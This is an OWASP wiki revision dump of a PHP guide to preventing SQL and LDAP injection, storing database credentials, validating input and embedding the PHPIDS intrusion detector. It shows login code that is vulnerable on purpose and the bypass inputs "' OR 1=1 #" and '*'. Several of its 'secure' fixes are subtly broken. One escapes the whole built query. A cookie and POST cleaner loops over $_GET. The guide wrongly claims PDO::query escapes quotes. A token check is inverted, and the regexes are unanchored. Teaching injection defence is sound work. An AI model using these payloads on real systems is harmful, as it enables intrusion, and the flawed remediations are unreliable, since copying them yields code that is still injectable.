if (! $bIsAuth ) {<br />
/* Unauthorized access, handle exception */<br />
...<br />
...<br />
} <br />
<br />
/* User has been succesfull authenticated */<br />
<br />
<br />
</nowiki><br />
<br />
=== Logging Errors ===<br />
<br />
As in PHP Preventing SQL Injection we're going to define a safe way to handle LDAP Errors. An previously stated incorrect error handling may raise ''Information Disclousure'' vulnerbality and a malicious user may furthermore exploit this vulnerability to perform some kind of a attack.<br />
<br />
<br />
<nowiki><br />
function unavailable_resource_handler() {<br />
/* Handle an 'Unavailable Resource' event without supplying further information to user <br />
*<br />
* Example:<br />
* die('Resource not available');<br />
* <br />
*<br />
*/<br />
..<br />
..<br />
<br />
}<br />
<br />
function ldap_error_handler ($sQuery, $sMsg) {<br />
/* Log failed LDAP Query statement */<br />
error_log ($sQuery, 3, "/var/log/site/ldapquery_error.log");<br />
<br />
/* Log error message */<br />
error_log ($sMsg, 3, "/var/log/site/site_error.log");<br />
<br />
/* Notify user that resource is unavailable */<br />
unavailable_resource_handler();<br />
}<br />
<br />
</nowiki><br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
PHPIDS (PHP-Intrusion Detection System) is a well mantained and fast security layer for PHP based web application. It allows to embed a WEB Application IDS into a PHP WEB Application. It performs a transparent Input Data Validation on each HTTP Request to look forward for Malicious Input. It means that Developer shouldn't explicitly analyze and thrust Input Data. PHP IDS will automatically look for exploit attempts. PHPIDS simply recognizes when an attacker tries to break your WEB Application and let you decide how to reacts. <br />
<br />
To install PHPIDS:<br />
* download and unpack in your application or include folder.<br />
* open phpids/lib/IDS/Config/Config.ini file and edit the following element to reflect PHPIDS complete installation path:<br />
*: filter_path<br />
*: tmp_path<br />
*: path in both Logging and Caching section<br />
<br />
<br />
Here is a typical usage of PHPIDS:<br />
<br />
<br />
'''init_ids.php'''<br />
<nowiki><br />
<?php<br />
<br />
set_include_path(get_include_path() . PATH_SEPARATOR . './lib/');<br />
require_once 'IDS/Init.php';<br />
<br />
function phpIDSInit() {<br />
$request = array( <br />
'REQUEST' => $_REQUEST, <br />
'GET' => $_GET,<br />
'POST' => $_POST, <br />
'COOKIE' => $_COOKIE<br />
);<br />
<br />
$init = IDS_Init::init('./lib/IDS/Config/Config.ini');<br />
$ids = new IDS_Monitor($request, $init);<br />
<br />
return $ids->run();<br />
<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''main.php'''<br />
<nowiki><br />
<?php<br />
<br />
require_once './init_ids.php';<br />
$sIDSAlert = phpIDSInit();<br />
<br />
if ($sIDSAlert) {<br />
/* PHPIDS raise an alert, handle exception */<br />
....<br />
....<br />
die()<br />
}<br />
<br />
/* PHPIDS determined that request is safe */<br />
...<br />
...<br />
<br />
<br />
?><br />
<br />
</nowiki><br />
<br />
= References =<br />
<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* OWASP : "OWASP PHP Filters" - http://www.owasp.org/index.php/OWASP_PHP_Filters<br />
* OWASP : "OWASP PHP Project" - http://www.owasp.org/index.php/Category:OWASP_PHP_Project<br />
* OWASP : "PHP Top 5 - http://www.owasp.org/index.php/PHP_Top_5"<br />
* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php<br />
* PHP : "Data Filtering" - http://it.php.net/manual/en/book.filter.php<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* PHPIDS : http://php-ids.org/</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=34698OWASP Backend Security Project PHP Security Programming2008-07-24T21:13:18Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
PHP developer should be aware about threats that can be exposed on vulnerable PHP code. To this aims we're going to address two of them in the following sections:<br />
* SQL Injection <br />
* LDAP Injection<br />
<br />
Since both of them are well known attacks vectors we're going to address some valid techniques to defend against:<br />
* Escaping Quotes on both input parameters and HTTP Request Header<br />
* Usage of Prepared Statements to query backend DBMS<br />
* Data Validation<br />
* Safe error handling<br />
<br />
But that's not all. Since a backend datastore should be accessed though a authentication developer should be aware on where to store<br />
such a ''access credentials'' as well.<br />
<br />
Recent research activities has shown that is possible to detect intrusion attempts from a WEB Application by embedding an ''Application Layer IDS'' inside your application. <br />
<br />
== SQL Injection ==<br />
<br />
Here follows a tipical Login Form where users credentials are stored on a Backend DBMS. To successfull validate user credentials an authenticated connection to Backend DBMS is needed. Application developer decided to store the Database Connection String parameters in a ''.inc'' file as shown in the example:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
'''Vulnerability'''<br />
<br />
* ''SQL Injection''<br />
*: by using some inference techniques it's possible to enumerate a backend Database and even worst it could be possible to interact with underlying operating system<br />
* ''Authentication Bypass''<br />
*: by exploiting a SQL Injection vulnerability Authentication an evil user can bypass authentication by suppliying :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* ''Information Disclosure''<br />
*: ''db.inc'' contents could be retrieved by an evil user<br />
<br />
<br />
'''Remediation'''<br />
* ''Make .inc unavailable to remote user''<br />
*: As we'll see it's possible to avoid ''.inc'' file retrieval from a remote user<br />
* ''Escaping Quotes''<br />
*: when evil users supplies <nowiki>username ' OR 1=1 # </nowiki> quotes should be escaped in such in <nowiki>username \' OR 1=1 # </nowiki><br />
* ''Prepared Statements''<br />
*: Prepared Statements prevents SQL Injection attacks by giving to the backend DBMS an execution plan of a query where parameters are replaced by variables. Variables will be instantiated with values and query will be executed. Since running an execution plan with parameters containing SQL Expressions, Operators or statements fails, we can get ride of Injection.<br />
* ''Data Validation''<br />
*: Input parameters should be validated in both data type and value. Developers should be aware that PHP is not a strongly type language. Everything it's a string when talking about Input Parameters and Headers.<br />
* ''Embedd an Application Layer IDS''<br />
*: PHPIDS it's a promising Open Source Project well mantained and with interesting features. An optimazed RegExp engine can be embedded in your PHP code. Benchmark performed by project developers shows that there is no performance penality at all.<br />
<br />
<br />
As you can see there are many way to protect your PHP Code against SQL Injection Attack vectors. Wich ones to use is up to you by the way as stated by the ''Security in Depth'' it would be great to use all of them.<br />
<br />
== LDAP Injection ==<br />
<br />
Here follows a tipical Login Form where users credentials are stored on a Backend LDAP Directory. To successfull validate user credentials an authenticated connection to Backend DBMS is needed. Application developer decided to store the LDAP Connection String parameters in a .inc file as shown in the example: <br />
<br />
'''ldap.inc:'''<br />
<nowiki><br />
<?php<br />
define(LDAP_DIRECTORY_ADMIN , "cn=admin,dc=domain,dc=com");<br />
define(LDAP_DIRECTORY_PASS , "pw$d0");<br />
define(LDAP_USER_BASEDN , "ou=Users,dc=domain, dc=com");<br />
?><br />
</nowiki><br />
<br />
<br />
'''auth.php:'''<br />
<nowiki><br />
include('ldap.inc');<br />
<br />
function authLdap($sUsername, $sPassword) {<br />
$ldap_ch=ldap_connect("localhost"); <br />
<br />
if (!$ldap_ch) {<br />
return FALSE;<br />
}<br />
<br />
$bind = ldap_bind($ldap_ch, LDAP_DIRECTORY_ADMIN, LDAP_DIRECTORY_PASS);<br />
<br />
if (!$bind) {<br />
return FALSE;<br />
}<br />
<br />
$sSearchFilter = "(&(uid=$sUsername)(userPassword=$sPassword))";<br />
$result = ldap_search($ldap_ch, " dc=domain,dc=com", $sSearchFilter);<br />
<br />
if (!$result) {<br />
return FALSE;<br />
}<br />
<br />
$info = ldap_get_entries($ldap_ch, $result);<br />
<br />
if (!($info) || ($info["count"] == 0)) {<br />
return FALSE;<br />
}<br />
<br />
return TRUE;<br />
<br />
}<br />
<br />
$sUsername = $_GET['username'];<br />
$sPassword = $_GET['password'];<br />
<br />
$bIsAuth=authLdap($sUsername, $sPassword);<br />
<br />
if (! $bIsAuth ) {<br />
/* Unauthorized access, handle exception */<br />
...<br />
...<br />
} <br />
<br />
/* User has been succesfull authenticated */<br />
<br />
</nowiki><br />
<br />
<br />
'''Vulnerability'''<br />
<br />
* ''Authentication Bypass''<br />
*: by exploiting a LDAP Injection vulnerability evil user can bypass authentication by suppliying username ''*'' and password ''*''<br />
* ''Information Disclosure''<br />
*: ''ldap.inc'' contents could be retrieved by an evil user<br />
<br />
<br />
'''Remediation'''<br />
* ''Make .inc unavailable to remote user''<br />
*: As we'll see it's possible to avoid ''.inc'' file retrieval from a remote user<br />
* ''Authenticate Users through LDAP Bind''<br />
*: Since LDAP define a BIND method which requires a valid user credential we can use ''ldap_bind()'' rather than setting up a complex machinery with ''ldap_search()''<br />
* ''Data Validation''<br />
*: Input parameters should be validated in both data type and value. Developers should be aware that PHP is not a strongly type language. Everything it's a string when talking about Input Parameters and Headers.<br />
* ''Embedd an Application Layer IDS''<br />
*: PHPIDS it's a promising Open Source Project well mantained and with interesting features. An optimazed RegExp engine can be embedded in your PHP code. Benchmark performed by project developers shows that there is no performance penality at all.<br />
<br />
<br />
As you can see there are many way to protect your PHP Code against LDAP Injection Attack vectors. Wich ones to use is up to you by the way as stated by the ''Security in Depth'' it would be great to use all of them.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
When talking about preventing SQL Injection in PHP we shall take in consideration whatever to use old Database connector of newset ''PHP Portable Data Objects'' interface. To this aim will take in consideration both of them since:<br />
* PHP PDO has been introduced in PHP 5.1<br />
* PHP PDO represents a Database abstract layer<br />
* Experienced developers may want to develop a custom Abstract Layer for theire demand<br />
<br />
Reader should be aware that at the moment PDO OCI used as a Oracle Driver is experimental.<br />
<br />
<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such issue can be avoided by :<br />
<br />
* Denying remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
: ''requires user intervention on Apache configuration!''<br />
<br />
<br />
* Adding a security token <br />
<nowiki><br />
<?php<br />
<br />
if (defined('SECURITY_INCLUDE_TOKEN') && SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* configuring ''php_ini'' settings in apache<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host 127.0.0.1<br />
php_value mysql.default_user owaspuser<br />
php_value mysql.default_password owasppassword<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?> </nowiki><br />
: ''at the moment of write it only works when backend Database Engine is MySQL''<br />
<br />
<br />
* using Apache SetEnv directive<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv DBHOST "127.0.0.1"<br />
SetEnv DBUSER "owaspuser"<br />
SetEnv DBPASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect(getenv("DBHOST"),<br />
getenv("DBUSER"),<br />
getenv("DBPASS"));<br />
}<br />
?><br />
<br />
<br />
</nowiki><br />
: ''requires user intervention on Apache configuration''<br />
<br />
<br />
Wich one to use is up to you. You should take into account whetever a user interventation is needed on WEB Server or not and if you want to guarantee application portability as well between different DB Backend Engine.<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv PDO_DSN "mysql:host=localhost;dbname=owasp"<br />
SetEnv PDO_USER "owaspuser"<br />
SetEnv PDO_PASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function SQLConnect() {<br />
$oPdo = NULL;<br />
try {<br />
$oPdo = new PDO(getenv("PDO_DSN"),<br />
getenv("PDO_USER"),<br />
getenv("PDO_PASS"));<br />
<br />
/* Throws an exception when subsequent errors occour */<br />
$oPdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br />
<br />
/* handle PDO connection success */<br />
...<br />
...<br />
return $oPdo;<br />
} catch (PDOException $e) {<br />
/* handle PDO connection error */<br />
...<br />
...<br />
return NULL;<br />
}<br />
} <br />
?><br />
<br />
<br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php);<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
PHP Portable Data Objects implements a quote() method on PDO class but it's worst noticing that not all underlying PDO Drivers implements this method. On the other side ''PDO::query()'' method by defualt escape quotes on SQL query string as shown in following example.<br />
<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName=NULL;<br />
if ($oPdo = SQLConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
try {<br />
$row = $oPdo->query($query)->fetch();<br />
if ($row) {<br />
return $row['username'];<br />
} <br />
} catch (PDOException e) {<br />
/* handle execption and SQL Injection Attempt */<br />
....<br />
....<br />
return NULL;<br />
} <br />
}<br />
<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
if ($aBookEntry) {<br />
/* Display retrieved book entry */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
PHP Portable Data Objects emulate prepared statements for drivers with no natively supports. Here follows an example of prepared statements usage with PHP PDO<br />
<br />
<br />
'''Example using PDO:'''<br />
<nowiki><br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$oPdo = SQLConnect();<br />
<br />
if ($oPdo) {<br />
$stmt = $oPdo->prepare("SELECT * FROM books WHERE ID =?");<br />
$stmt->bindParam(1, $id, PDO::PARAM_INT);<br />
if ($smmt->execute()) {<br />
$aBook = $stmt->fetch(PDO::FETCH_ASSOC);<br />
}<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
Modern WEB Applications are supposed to interacts with users throught input data. Input data can be supplied through a HTML Form and WEB Application retrieves such a data through a GET/POST variable. Input data can contains malicious values to exploit some<br />
security flaws in WEB Applications. As a general rule data validation should be performed on both input and output values, since they both depends on each other. data should be rejected unless it matches a criteria. Developers should define a restriced range for valid data and reject everything else. Such a criteria will include:<br />
* Data Type <br />
* Data Length;<br />
* Data Value <br />
<br />
A typical Data Validation workflow will be:<br />
* Get the data to be validated<br />
* Check if it should be a numerical or string <br />
* Look at it's size in byte to avoid errors when database table columns has some constraint in value size<br />
* Check if data contains a valid value (EMail, phone number, date, and so on).<br />
<br />
To this aims PHP can help developers with :<br />
* casting operators<br />
* regexp functions<br />
<br />
<br />
<br />
'''Numeric Data'''<br />
<br />
PHP is not a strongly typed languages it means that every input data is a string by default. If you want to validate a numeric value you should casting operator. Casting an input data to ''int'' ensure that:<br />
<br />
* if data is numeric you get its value<br />
* if data doesn't contains a number casting will returns 0<br />
* if data includes a number casting will returns its numeric portion<br />
<br />
'''Example'''<br />
<br />
<nowiki><br />
...<br />
$iId = (int)$_GET['id'];<br />
if ( $iId != $_GET['id']) {<br />
/* User supplied data is not numeric, handle exception */<br />
...<br />
return;<br />
} <br />
<br />
if ($iId > MAX_ID_VALUE || $iId < MIN_ID_VALUE) {<br />
/* User supplied data is numerica but it doesn't contains an allowed value, handle exception */<br />
<br />
}<br />
<br />
/* $iId is safe */<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
''' String Data'''<br />
<br />
Strings data validation is a bit tricker since it can contains malicious values. It means that it should be validated<br />
on what data is supposed to include. Data can contains:<br />
* EMail Address<br />
* Phone Number<br />
* URL<br />
* Name<br />
* Date<br />
<br />
and so on.<br />
<br />
To this aim WEB Developers should match Input Data against a Regular Expression to match what Data is supposed to inclues.<br />
Here follows some example.<br />
<br />
'''Example: Validating an Email Address'''<br />
<br />
<nowiki><br />
...<br />
$sEmail = $_POST['email'];<br />
if (! preg_match("/^[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}$/", $sEmail)) {<br />
/* User supplied data is not a valid email address, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sEmail is safe, check len */<br />
<br />
if (strlen($sEmail) > MAX_EMAIL_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
<br />
</nowiki><br />
<br />
<br />
'''Example: Validating an Italian Phone Number '''<br />
<nowiki><br />
...<br />
$sPhoneNumber = $_POST['phonenumber'];<br />
<br />
if (! preg_match(, "/[0-9]+[-\/ ]?[0-9]+$/", $sPhoneNumber)) {<br />
/* User supplied data is not a phone number, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sPhoneNumber is safe, check len */<br />
<br />
if (strlen($sPhoneNumber) > MAX_PHONENUMBER_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
<br />
''' OWASP PHP Filters'''<br />
<br />
OWASP PHP Filters project allow programmers an easy way to perform data validation. Even if project is quite old and not <br />
well mantained it's still well working and defines a valid approach to performa Data Validation.<br />
<br />
=== Logging Errors ===<br />
<br />
Malicious users typicaly attempt to explot SQL Injection Vulnerabilities by looking at some Error Codes on dynamic pages.<br />
When PHP fails to query Backend Database an error message will be returned to users if error are not handled on a safe way.<br />
WEB Developers uncorrectly debug SQL Errors by displaying some kind of error message on WEB Page when query fails. This approach should not be considered safe since Errors should never be displayed to users.<br />
<br />
Users should also never deduce that something wrong happens otherwise it could be considered a flaw to further more exploits a vulnerability. To this aim we're going to how to safely handle errors.<br />
<br />
<nowiki><br />
function unavailable_resource_handler() {<br />
/* Handle an 'Unavailable Resource' event without supplying further information to user <br />
*<br />
* Example:<br />
* die('Resource not available');<br />
* <br />
*<br />
*/<br />
..<br />
..<br />
<br />
}<br />
<br />
function sql_error_handler ($sQuery, $sMsg) {<br />
/* Log failed SQL Query statement */<br />
error_log ($sQuery, 3, "/var/log/site/sqlquery_error.log");<br />
<br />
/* Log error message */<br />
error_log ($sMsg, 3, "/var/log/site/site_error.log");<br />
<br />
/* Notify user that resource is unavailable */<br />
unavailable_resource_handler();<br />
}<br />
<br />
</nowiki><br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication ===<br />
<br />
As previously states LDAP Authentication in PHP should be handled with ''ldap_bind()'' functin in such a way:<br />
<br />
<nowiki> <br />
function authLdap($sUsername, $sPassword) {<br />
$ldap_ch=ldap_connect("ldap://localhost"); <br />
<br />
if ($ldap_ch) {<br />
<br />
$ldap_user = "uid=$sUsername, ou=Utenti, dc=domain, dc= com";<br />
$ldap_password = $sPassword;<br />
<br />
$bind = @ldap_bind($ldap_ch, $ldap_user, $ldap_password);<br />
<br />
return $bind;<br />
<br />
}<br />
<br />
return FALSE;<br />
<br />
}<br />
<br />
$sUsername = $_GET['username'];<br />
$sPassword = $_GET['password'];<br />
<br />
$bIsAuth=authLdap($sUsername, $sPassword);<br />
<br />
if (! $bIsAuth ) {<br />
/* Unauthorized access, handle exception */<br />
...<br />
...<br />
} <br />
<br />
/* User has been succesfull authenticated */<br />
<br />
<br />
</nowiki><br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
Whenever a Backend Directory Server shall not be used to authenticate user is good practice not to query with an ''anonymous bind''. Doind so you need a safe way to store LDAP Bind access credentials. The same techniques of previous section shall be used as well.<br />
<br />
<br />
=== Data Validation ===<br />
<br />
Data Validation occours on the same way as in PHP Preventing SQL Injection. Here follows previous LDAP Login Form example with data validation, where both ''username'' and ''password'' are allowed to contains only alfa numeric values.<br />
<br />
<nowiki><br />
$sUsername = $_GET['username'];<br />
$sPassword = $_GET['password'];<br />
<br />
if (! preg_match("/[a-zA-Z0-9]+$/", $username) {<br />
/* username doesn't contains valid characters, handle exception */<br />
..<br />
..<br />
return;<br />
}<br />
<br />
if (! preg_match("/[a-zA-Z0-9]+$/", $password) {<br />
/* password doesn't contains valid characters, handle exception */<br />
..<br />
..<br />
return;<br />
}<br />
<br />
<br />
<br />
<br />
$bIsAuth=authLdap($sUsername, $sPassword);<br />
<br />
if (! $bIsAuth ) {<br />
/* Unauthorized access, handle exception */<br />
...<br />
...<br />
} <br />
<br />
/* User has been succesfull authenticated */<br />
<br />
<br />
</nowiki><br />
<br />
=== Logging Errors ===<br />
<br />
As in PHP Preventing SQL Injection we're going to define a safe way to handle LDAP Errors. An previously stated incorrect error handling may raise ''Information Disclousure'' vulnerbality and a malicious user may furthermore exploit this vulnerability to perform some kind of a attack.<br />
<br />
<br />
<nowiki><br />
function unavailable_resource_handler() {<br />
/* Handle an 'Unavailable Resource' event without supplying further information to user <br />
*<br />
* Example:<br />
* die('Resource not available');<br />
* <br />
*<br />
*/<br />
..<br />
..<br />
<br />
}<br />
<br />
function ldap_error_handler ($sQuery, $sMsg) {<br />
/* Log failed LDAP Query statement */<br />
error_log ($sQuery, 3, "/var/log/site/ldapquery_error.log");<br />
<br />
/* Log error message */<br />
error_log ($sMsg, 3, "/var/log/site/site_error.log");<br />
<br />
/* Notify user that resource is unavailable */<br />
unavailable_resource_handler();<br />
}<br />
<br />
</nowiki><br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
PHPIDS (PHP-Intrusion Detection System) is a well mantained and fast security layer for PHP based web application. It allows to embed a WEB Application IDS into a PHP WEB Application. It performs a transparent Input Data Validation on each HTTP Request to look forward for Malicious Input. It means that Developer shouldn't explicitly analyze and thrust Input Data. PHP IDS will automatically look for exploit attempts. PHPIDS simply recognizes when an attacker tries to break your WEB Application and let you decide how to reacts. <br />
<br />
To install PHPIDS:<br />
* download and unpack in your application or include folder.<br />
* open phpids/lib/IDS/Config/Config.ini file and edit the following element to reflect PHPIDS complete installation path:<br />
*: filter_path<br />
*: tmp_path<br />
*: path in both Logging and Caching section<br />
<br />
<br />
Here is a typical usage of PHPIDS:<br />
<br />
<br />
'''init_ids.php'''<br />
<nowiki><br />
<?php<br />
<br />
set_include_path(get_include_path() . PATH_SEPARATOR . './lib/');<br />
require_once 'IDS/Init.php';<br />
<br />
function phpIDSInit() {<br />
$request = array( <br />
'REQUEST' => $_REQUEST, <br />
'GET' => $_GET,<br />
'POST' => $_POST, <br />
'COOKIE' => $_COOKIE<br />
);<br />
<br />
$init = IDS_Init::init('./lib/IDS/Config/Config.ini');<br />
$ids = new IDS_Monitor($request, $init);<br />
<br />
return $ids->run();<br />
<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''main.php'''<br />
<nowiki><br />
<?php<br />
<br />
require_once './init_ids.php';<br />
$sIDSAlert = phpIDSInit();<br />
<br />
if ($sIDSAlert) {<br />
/* PHPIDS raise an alert, handle exception */<br />
....<br />
....<br />
die()<br />
}<br />
<br />
/* PHPIDS determined that request is safe */<br />
...<br />
...<br />
<br />
<br />
?><br />
<br />
</nowiki><br />
<br />
= References =<br />
<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* OWASP : "OWASP PHP Filters" - http://www.owasp.org/index.php/OWASP_PHP_Filters<br />
* OWASP : "OWASP PHP Project" - http://www.owasp.org/index.php/Category:OWASP_PHP_Project<br />
